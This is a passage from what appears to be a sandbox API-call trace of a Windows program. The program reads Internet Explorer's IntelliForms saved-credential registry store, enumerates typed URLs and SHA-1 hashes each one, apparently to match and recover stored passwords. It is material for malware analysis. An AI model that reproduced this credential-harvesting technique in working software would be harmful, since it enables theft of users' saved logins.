lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.007] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.007] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.007] LocalFree (hMem=0x28e7670) returned 0x0 [0097.008] RegEnumValueW (in: hKey=0x368, dwIndex=0x23, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url15", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.008] StrStrIW (lpFirst="spiegel.de", lpSrch="?") returned 0x0 [0097.008] StrStrIW (lpFirst="spiegel.de", lpSrch="http://") returned 0x0 [0097.008] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.008] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.008] lstrlenW (lpString="spiegel.de") returned 10 [0097.008] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x16, dwFlags=0x0) returned 1 [0097.008] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.008] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0097.008] lstrlenW (lpString="") returned 0 [0097.008] lstrlenW (lpString="BE") returned 2 [0097.008] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.008] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.008] lstrcatW (in: lpString1="", lpString2="BE" | out: lpString1="BE") returned="BE" [0097.008] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0097.008] lstrlenW (lpString="BE") returned 2 [0097.008] lstrlenW (lpString="ED") returned 2 [0097.008] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0097.008] lstrcpyW (in: lpString1=0x28c81c0, lpString2="BE" | out: lpString1="BE") returned="BE" [0097.008] lstrcatW (in: lpString1="BE", lpString2="ED" | out: lpString1="BEED") returned="BEED" [0097.009] LocalFree (hMem=0x7222e70) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3D") returned 2 [0097.009] lstrlenW (lpString="BEED") returned 4 [0097.009] lstrlenW (lpString="3D") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0097.009] lstrcpyW (in: lpString1=0x28ca380, lpString2="BEED" | out: lpString1="BEED") returned="BEED" [0097.009] lstrcatW (in: lpString1="BEED", lpString2="3D" | out: lpString1="BEED3D") returned="BEED3D" [0097.009] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.009] lstrlenW (lpString="BEED3D") returned 6 [0097.009] lstrlenW (lpString="28") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0097.009] lstrcpyW (in: lpString1=0x28c81c0, lpString2="BEED3D" | out: lpString1="BEED3D") returned="BEED3D" [0097.009] lstrcatW (in: lpString1="BEED3D", lpString2="28" | out: lpString1="BEED3D28") returned="BEED3D28" [0097.009] LocalFree (hMem=0x28ca380) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0097.009] lstrlenW (lpString="BEED3D28") returned 8 [0097.009] lstrlenW (lpString="59") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0097.009] lstrcpyW (in: lpString1=0x28ca380, lpString2="BEED3D28" | out: lpString1="BEED3D28") returned="BEED3D28" [0097.009] lstrcatW (in: lpString1="BEED3D28", lpString2="59" | out: lpString1="BEED3D2859") returned="BEED3D2859" [0097.009] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.009] lstrlenW (lpString="BEED3D2859") returned 10 [0097.009] lstrlenW (lpString="E8") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.009] lstrcpyW (in: lpString1=0x71cfb40, lpString2="BEED3D2859" | out: lpString1="BEED3D2859") returned="BEED3D2859" [0097.009] lstrcatW (in: lpString1="BEED3D2859", lpString2="E8" | out: lpString1="BEED3D2859E8") returned="BEED3D2859E8" [0097.009] LocalFree (hMem=0x28ca380) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.009] lstrlenW (lpString="BEED3D2859E8") returned 12 [0097.009] lstrlenW (lpString="BD") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.009] lstrcpyW (in: lpString1=0x71cf460, lpString2="BEED3D2859E8" | out: lpString1="BEED3D2859E8") returned="BEED3D2859E8" [0097.009] lstrcatW (in: lpString1="BEED3D2859E8", lpString2="BD" | out: lpString1="BEED3D2859E8BD") returned="BEED3D2859E8BD" [0097.009] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.009] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0097.009] lstrlenW (lpString="BEED3D2859E8BD") returned 14 [0097.009] lstrlenW (lpString="A7") returned 2 [0097.009] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.010] lstrcpyW (in: lpString1=0x71cfb40, lpString2="BEED3D2859E8BD" | out: lpString1="BEED3D2859E8BD") returned="BEED3D2859E8BD" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BD", lpString2="A7" | out: lpString1="BEED3D2859E8BDA7") returned="BEED3D2859E8BDA7" [0097.010] LocalFree (hMem=0x71cf460) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="97") returned 2 [0097.010] lstrlenW (lpString="BEED3D2859E8BDA7") returned 16 [0097.010] lstrlenW (lpString="97") returned 2 [0097.010] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.010] lstrcpyW (in: lpString1=0x71cf460, lpString2="BEED3D2859E8BDA7" | out: lpString1="BEED3D2859E8BDA7") returned="BEED3D2859E8BDA7" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BDA7", lpString2="97" | out: lpString1="BEED3D2859E8BDA797") returned="BEED3D2859E8BDA797" [0097.010] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0097.010] lstrlenW (lpString="BEED3D2859E8BDA797") returned 18 [0097.010] lstrlenW (lpString="F6") returned 2 [0097.010] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.010] lstrcpyW (in: lpString1=0x72912f0, lpString2="BEED3D2859E8BDA797" | out: lpString1="BEED3D2859E8BDA797") returned="BEED3D2859E8BDA797" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BDA797", lpString2="F6" | out: lpString1="BEED3D2859E8BDA797F6") returned="BEED3D2859E8BDA797F6" [0097.010] LocalFree (hMem=0x71cf460) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0097.010] lstrlenW (lpString="BEED3D2859E8BDA797F6") returned 20 [0097.010] lstrlenW (lpString="8C") returned 2 [0097.010] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.010] lstrcpyW (in: lpString1=0x7290b70, lpString2="BEED3D2859E8BDA797F6" | out: lpString1="BEED3D2859E8BDA797F6") returned="BEED3D2859E8BDA797F6" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BDA797F6", lpString2="8C" | out: lpString1="BEED3D2859E8BDA797F68C") returned="BEED3D2859E8BDA797F68C" [0097.010] LocalFree (hMem=0x72912f0) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0097.010] lstrlenW (lpString="BEED3D2859E8BDA797F68C") returned 22 [0097.010] lstrlenW (lpString="F0") returned 2 [0097.010] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.010] lstrcpyW (in: lpString1=0x72912f0, lpString2="BEED3D2859E8BDA797F68C" | out: lpString1="BEED3D2859E8BDA797F68C") returned="BEED3D2859E8BDA797F68C" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68C", lpString2="F0" | out: lpString1="BEED3D2859E8BDA797F68CF0") returned="BEED3D2859E8BDA797F68CF0" [0097.010] LocalFree (hMem=0x7290b70) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0097.010] lstrlenW (lpString="BEED3D2859E8BDA797F68CF0") returned 24 [0097.010] lstrlenW (lpString="9D") returned 2 [0097.010] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.010] lstrcpyW (in: lpString1=0x7290b70, lpString2="BEED3D2859E8BDA797F68CF0" | out: lpString1="BEED3D2859E8BDA797F68CF0") returned="BEED3D2859E8BDA797F68CF0" [0097.010] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF0", lpString2="9D" | out: lpString1="BEED3D2859E8BDA797F68CF09D") returned="BEED3D2859E8BDA797F68CF09D" [0097.010] LocalFree (hMem=0x72912f0) returned 0x0 [0097.010] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09D") returned 26 [0097.011] lstrlenW (lpString="EB") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.011] lstrcpyW (in: lpString1=0x2815670, lpString2="BEED3D2859E8BDA797F68CF09D" | out: lpString1="BEED3D2859E8BDA797F68CF09D") returned="BEED3D2859E8BDA797F68CF09D" [0097.011] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09D", lpString2="EB" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB") returned="BEED3D2859E8BDA797F68CF09DEB" [0097.011] LocalFree (hMem=0x7290b70) returned 0x0 [0097.011] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB") returned 28 [0097.011] lstrlenW (lpString="8C") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.011] lstrcpyW (in: lpString1=0x2815a80, lpString2="BEED3D2859E8BDA797F68CF09DEB" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB") returned="BEED3D2859E8BDA797F68CF09DEB" [0097.011] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB", lpString2="8C" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C") returned="BEED3D2859E8BDA797F68CF09DEB8C" [0097.011] LocalFree (hMem=0x2815670) returned 0x0 [0097.011] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C") returned 30 [0097.011] lstrlenW (lpString="5A") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.011] lstrcpyW (in: lpString1=0x2815670, lpString2="BEED3D2859E8BDA797F68CF09DEB8C" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C") returned="BEED3D2859E8BDA797F68CF09DEB8C" [0097.011] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C", lpString2="5A" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5A") returned="BEED3D2859E8BDA797F68CF09DEB8C5A" [0097.011] LocalFree (hMem=0x2815a80) returned 0x0 [0097.011] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C5A") returned 32 [0097.011] lstrlenW (lpString="DD") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.011] lstrcpyW (in: lpString1=0x2815a80, lpString2="BEED3D2859E8BDA797F68CF09DEB8C5A" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5A") returned="BEED3D2859E8BDA797F68CF09DEB8C5A" [0097.011] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5A", lpString2="DD" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD" [0097.011] LocalFree (hMem=0x2815670) returned 0x0 [0097.011] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6B") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C5ADD") returned 34 [0097.011] lstrlenW (lpString="6B") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.011] lstrcpyW (in: lpString1=0x28e7670, lpString2="BEED3D2859E8BDA797F68CF09DEB8C5ADD" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD" [0097.011] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD", lpString2="6B" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B" [0097.011] LocalFree (hMem=0x2815a80) returned 0x0 [0097.011] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4B") returned 2 [0097.011] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B") returned 36 [0097.011] lstrlenW (lpString="4B") returned 2 [0097.011] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.012] lstrcpyW (in: lpString1=0x28e7910, lpString2="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B" [0097.012] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B", lpString2="4B" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B" [0097.012] LocalFree (hMem=0x28e7670) returned 0x0 [0097.012] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0097.012] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B") returned 38 [0097.012] lstrlenW (lpString="9A") returned 2 [0097.012] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.012] lstrcpyW (in: lpString1=0x28e7670, lpString2="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B" [0097.012] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B", lpString2="9A" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A" [0097.012] LocalFree (hMem=0x28e7910) returned 0x0 [0097.012] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0097.012] lstrlenW (lpString="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A") returned 40 [0097.012] lstrlenW (lpString="59") returned 2 [0097.012] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.012] lstrcpyW (in: lpString1=0x28e7910, lpString2="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A" [0097.012] lstrcatW (in: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A", lpString2="59" | out: lpString1="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A59") returned="BEED3D2859E8BDA797F68CF09DEB8C5ADD6B4B9A59" [0097.012] LocalFree (hMem=0x28e7670) returned 0x0 [0097.012] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.012] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.012] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.012] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.012] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.012] LocalFree (hMem=0x28e7910) returned 0x0 [0097.012] RegEnumValueW (in: hKey=0x368, dwIndex=0x24, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url14", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.012] StrStrIW (lpFirst="ask.fm", lpSrch="?") returned 0x0 [0097.012] StrStrIW (lpFirst="ask.fm", lpSrch="http://") returned 0x0 [0097.012] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.013] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.013] lstrlenW (lpString="ask.fm") returned 6 [0097.013] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0xe, dwFlags=0x0) returned 1 [0097.013] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.013] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.013] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.013] RegEnumValueW (in: hKey=0x368, dwIndex=0x25, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url13", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.013] StrStrIW (lpFirst="google.ru", lpSrch="?") returned 0x0 [0097.013] StrStrIW (lpFirst="google.ru", lpSrch="http://") returned 0x0 [0097.013] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.014] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.014] lstrlenW (lpString="google.ru") returned 9 [0097.014] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0097.014] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.014] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.014] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.014] RegEnumValueW (in: hKey=0x368, dwIndex=0x26, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url12", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.014] StrStrIW (lpFirst="google.co.th", lpSrch="?") returned 0x0 [0097.014] StrStrIW (lpFirst="google.co.th", lpSrch="http://") returned 0x0 [0097.014] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.014] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.014] lstrlenW (lpString="google.co.th") returned 12 [0097.014] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1a, dwFlags=0x0) returned 1 [0097.014] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.014] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.014] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.014] RegEnumValueW (in: hKey=0x368, dwIndex=0x27, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url11", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.014] StrStrIW (lpFirst="xywy.com", lpSrch="?") returned 0x0 [0097.014] StrStrIW (lpFirst="xywy.com", lpSrch="http://") returned 0x0 [0097.014] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.015] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.015] lstrlenW (lpString="xywy.com") returned 8 [0097.015] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0097.015] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.015] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.015] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.015] RegEnumValueW (in: hKey=0x368, dwIndex=0x28, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url10", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.015] StrStrIW (lpFirst="amazonaws.com", lpSrch="?") returned 0x0 [0097.015] StrStrIW (lpFirst="amazonaws.com", lpSrch="http://") returned 0x0 [0097.015] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.016] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.016] lstrlenW (lpString="amazonaws.com") returned 13 [0097.016] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0097.016] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.016] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="55") returned 2 [0097.016] lstrlenW (lpString="") returned 0 [0097.016] lstrlenW (lpString="55") returned 2 [0097.016] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.016] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.016] lstrcatW (in: lpString1="", lpString2="55" | out: lpString1="55") returned="55" [0097.016] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0097.016] lstrlenW (lpString="55") returned 2 [0097.016] lstrlenW (lpString="53") returned 2 [0097.016] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0097.016] lstrcpyW (in: lpString1=0x28ca380, lpString2="55" | out: lpString1="55") returned="55" [0097.016] lstrcatW (in: lpString1="55", lpString2="53" | out: lpString1="5553") returned="5553" [0097.016] LocalFree (hMem=0x7222e70) returned 0x0 [0097.016] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0097.016] lstrlenW (lpString="5553") returned 4 [0097.016] lstrlenW (lpString="F6") returned 2 [0097.016] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0097.016] lstrcpyW (in: lpString1=0x28c81c0, lpString2="5553" | out: lpString1="5553") returned="5553" [0097.016] lstrcatW (in: lpString1="5553", lpString2="F6" | out: lpString1="5553F6") returned="5553F6" [0097.016] LocalFree (hMem=0x28ca380) returned 0x0 [0097.016] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7C") returned 2 [0097.016] lstrlenW (lpString="5553F6") returned 6 [0097.016] lstrlenW (lpString="7C") returned 2 [0097.016] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0097.016] lstrcpyW (in: lpString1=0x28ca380, lpString2="5553F6" | out: lpString1="5553F6") returned="5553F6" [0097.016] lstrcatW (in: lpString1="5553F6", lpString2="7C" | out: lpString1="5553F67C") returned="5553F67C" [0097.016] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E6") returned 2 [0097.017] lstrlenW (lpString="5553F67C") returned 8 [0097.017] lstrlenW (lpString="E6") returned 2 [0097.017] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0097.017] lstrcpyW (in: lpString1=0x28c81c0, lpString2="5553F67C" | out: lpString1="5553F67C") returned="5553F67C" [0097.017] lstrcatW (in: lpString1="5553F67C", lpString2="E6" | out: 